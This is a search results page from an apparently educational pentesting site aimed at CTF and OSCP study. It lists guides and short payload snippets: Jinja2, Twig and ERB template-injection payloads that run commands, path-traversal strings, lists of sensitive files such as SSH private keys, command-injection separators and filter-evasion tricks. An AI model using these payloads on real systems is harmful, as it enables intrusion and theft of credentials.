Search everything
57 results for «ssti»
Guides 5
- SSTI: fingerprinting the template engine and getting RCE Detect server-side template injection, work out whether it is Jinja2, Twig, FreeMarker, ERB or Mako, and the payloads to run commands on each one.
- Exposed .git directory: git-dumper and secrets in the history How to spot an exposed .git folder on a website, rebuild the repository with git-dumper and find passwords and keys in the commit history.
- OS command injection: detection, blind injection and filter bypasses How to find OS command injection on Linux and Windows, confirm it blind (time, DNS, HTTP) and bypass the most common space, keyword and character filters.
- IDOR, mass assignment and APIs: the access control flaws scanners miss Enumerate an API (Swagger, hidden routes, versions), find IDORs by changing IDs, become admin with mass assignment and test access control with two users.
- Web fuzzing: directories, extensions, subdomains and vhosts with ffuf, gobuster and feroxbuster Find hidden paths, backups, vhosts and exposed .git repos with ffuf and gobuster: which wordlist to use and how to filter out false positives.
Techniques 1
MITRE ATT&CK techniques 1
Resources and tools 1
Learning paths 2
- Zero to OSCP Six stages in order, from your first nmap to a mock exam: Hack The Box machines, guides and cheat sheets to prepare for the OSCP without getting lost.
- Web pentesting: from the web to root The web vulnerabilities you see most in CTFs and real assessments, each with its guide, its cheat sheet and boxes where it is the way in.
Checklists 1
Guide sections 9
- Tools SSTI: fingerprinting the template engine and getting RCE
- Detecting it SSTI: fingerprinting the template engine and getting RCE
- Where to look SSTI: fingerprinting the template engine and getting RCE
- FreeMarker (Java) SSTI: fingerprinting the template engine and getting RCE
- From RCE to a shell SSTI: fingerprinting the template engine and getting RCE
- Thymeleaf / Spring (Java) SSTI: fingerprinting the template engine and getting RCE
- ERB (Ruby) and Mako (Python) SSTI: fingerprinting the template engine and getting RCE
- Twig (PHP: Symfony, Craft, Grav...) SSTI: fingerprinting the template engine and getting RCE
- Jinja2 (Python: Flask, Django with Jinja) SSTI: fingerprinting the template engine and getting RCE
Commands 37
-
SSTImap
LFI, SSTI, command injection and XXE › SSTI › Tool
python3 sstimap.py -u 'http://10.10.11.20/page?name=test' -
Basic
LFI, SSTI, command injection and XXE › LFI › Path traversal
../../../../../../etc/passwd -
Linux
LFI, SSTI, command injection and XXE › LFI › Interesting files
/etc/passwd /etc/hosts /proc/self/cmdline /proc/self/environ /home/USUARIO/.ssh/id_rsa /var/www/html/config.php /etc/nginx/sites-enabled/default /etc/apache2/sites-enabled/000-default.conf -
Windows
LFI, SSTI, command injection and XXE › LFI › Interesting files
C:\Windows\System32\drivers\etc\hosts C:\Windows\win.ini C:\inetpub\wwwroot\web.config C:\xampp\apache\conf\httpd.conf -
ERB (Ruby)
LFI, SSTI, command injection and XXE › SSTI › Other engines
<%= `id` %> -
Time based
LFI, SSTI, command injection and XXE › Command injection › Blind
; sleep 5 -
Twig (PHP)
LFI, SSTI, command injection and XXE › SSTI › Other engines
{{ ['id']|filter('system') }} -
Blocked words
LFI, SSTI, command injection and XXE › Command injection › Filter evasion
c'a't /etc/passwd c\at /etc/passwd /???/c?t /etc/passwd -
Run a command
LFI, SSTI, command injection and XXE › SSTI › Jinja2 (Python / Flask)
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} -
Chain commands
LFI, SSTI, command injection and XXE › Command injection › Separators
; id | id || id && id `id` $(id) -
Without spaces
LFI, SSTI, command injection and XXE › Command injection › Filter evasion
cat${IFS}/etc/passwd {cat,/etc/passwd} cat</etc/passwd -
Encoded newline
LFI, SSTI, command injection and XXE › Command injection › Separators
%0aid